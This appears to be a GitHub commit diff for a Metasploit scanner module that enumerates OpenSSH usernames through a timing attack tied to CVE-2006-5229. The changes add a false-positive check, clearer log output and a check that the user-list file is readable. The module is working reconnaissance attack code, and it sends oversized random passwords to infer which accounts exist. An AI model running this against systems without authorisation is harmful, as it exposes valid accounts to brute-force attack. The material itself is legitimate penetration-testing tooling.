Skip to content

Commit a8915f0

Browse files
committed
Land rapid7#3310, OpenSSH timing attack improvements
2 parents 96a9bb6 + 8ae5dfe commit a8915f0

File tree

1 file changed

+41
-18
lines changed

1 file changed

+41
-18
lines changed

modules/auxiliary/scanner/ssh/ssh_enumusers.rb

Lines changed: 41 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,17 +16,17 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'SSH Username Enumeration',
1818
'Description' => %q{
19-
This module uses a time-based attack to enumerate users in a OpenSSH server.
20-
On some versions of OpenSSH under some configurations, OpenSSH will prompt
21-
for a password for an invalid user faster than for a valid user.
22-
},
23-
'Author' => ['kenkeiras'],
24-
'References' =>
25-
[
26-
['CVE', '2006-5229'],
27-
['OSVDB', '32721'],
28-
['BID', '20418']
29-
],
19+
This module uses a time-based attack to enumerate users on an OpenSSH server.
20+
On some versions of OpenSSH under some configurations, OpenSSH will return a
21+
"permission denied" error for an invalid user faster than for a valid user.
22+
},
23+
'Author' => ['kenkeiras'],
24+
'References' =>
25+
[
26+
['CVE', '2006-5229'],
27+
['OSVDB', '32721'],
28+
['BID', '20418']
29+
],
3030
'License' => MSF_LICENSE
3131
))
3232

@@ -69,6 +69,13 @@ def threshold
6969
datastore['THRESHOLD']
7070
end
7171

72+
# Returns true if a nonsense username appears active.
73+
def check_false_positive(ip)
74+
user = Rex::Text.rand_text_alphanumeric(8)
75+
result = attempt_user(user, ip)
76+
return(result == :success)
77+
end
78+
7279
def check_user(ip, user, port)
7380
pass = Rex::Text.rand_text_alphanumeric(64_000)
7481

@@ -119,8 +126,18 @@ def do_report(ip, user, port)
119126
)
120127
end
121128

129+
# Because this isn't using the AuthBrute mixin, we don't have the
130+
# usual peer method
131+
def peer(rhost=nil)
132+
"#{rhost}:#{rport} - SSH -"
133+
end
134+
122135
def user_list
123-
File.new(datastore['USER_FILE']).read.split
136+
if File.readable? datastore['USER_FILE']
137+
File.new(datastore['USER_FILE']).read.split
138+
else
139+
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
140+
end
124141
end
125142

126143
def attempt_user(user, ip)
@@ -130,7 +147,7 @@ def attempt_user(user, ip)
130147
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
131148
if attempt_num > 0
132149
Rex.sleep(2 ** attempt_num)
133-
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
150+
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
134151
end
135152

136153
ret = check_user(ip, user, rport)
@@ -143,18 +160,24 @@ def attempt_user(user, ip)
143160
def show_result(attempt_result, user, ip)
144161
case attempt_result
145162
when :success
146-
print_good "User '#{user}' found on #{ip}"
163+
print_good "#{peer(ip)} User '#{user}' found"
147164
do_report(ip, user, rport)
148165
when :connection_error
149-
print_error "User '#{user}' on #{ip} could not connect"
166+
print_error "#{peer(ip)} User '#{user}' on could not connect"
150167
when :fail
151-
print_debug "User '#{user}' not found on #{ip}"
168+
print_debug "#{peer(ip)} User '#{user}' not found"
152169
end
153170
end
154171

155172
def run_host(ip)
156-
print_status "Starting scan on #{ip}"
157-
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
173+
print_status "#{peer(ip)} Checking for false positives"
174+
if check_false_positive(ip)
175+
print_error "#{peer(ip)} throws false positive results. Aborting."
176+
return
177+
else
178+
print_status "#{peer(ip)} Starting scan"
179+
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
180+
end
158181
end
159182

160183
end

0 commit comments

Comments
 (0)